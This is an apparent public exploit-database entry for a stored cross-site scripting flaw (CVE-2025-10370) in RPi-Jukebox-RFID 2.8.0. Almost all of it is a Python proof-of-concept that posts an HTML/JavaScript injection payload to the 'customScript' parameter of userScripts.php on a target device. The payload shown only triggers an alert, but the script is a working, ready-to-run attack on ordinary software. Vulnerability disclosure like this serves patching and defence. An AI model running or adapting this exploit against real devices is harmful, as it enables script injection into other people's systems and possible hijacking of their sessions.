RPi-Jukebox-RFID 2.8.0 Cross Site Scripting

# Exploit Title: RPi-Jukebox-RFID 2.8.0 - RPi-Jukebox-RFID 2.8.0 Cross Site Scripting

# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Stored XSS (CVE-2025-10370)
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
# Version: 2.8.0
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
# CVE: CVE-2025-10370
#
# Description:
# This PoC demonstrates a Cross-Site Scripting (XSS) vulnerability in the userScripts.php page.
# The vulnerable parameter "customScript" does not sanitize input correctly, allowing injection
# of arbitrary JavaScript payloads.

import requests

# Change this to the actual IP or hostname of the target device
TARGET = "http://YOUR-TARGET-IP/phoniebox/htdocs/userScripts.php"

# The XSS payload
PAYLOAD = '"><img src=x onerror=alert("XSS - CVE-2025-10370")>'

# HTTP headers
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": TARGET,
}

# POST data with the malicious payload
data = {
"customScript": PAYLOAD
}

def send_exploit():
print(f"[+] Sending XSS payload to {TARGET}")
try:
r = requests.post(TARGET, headers=headers, data=data, timeout=5)
print(f"[+] Payload sent. Status code: {r.status_code}")
print("[*] If the target is vulnerable, the payload will execute when the page is rendered.")
except Exception as e:
print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
send_exploit()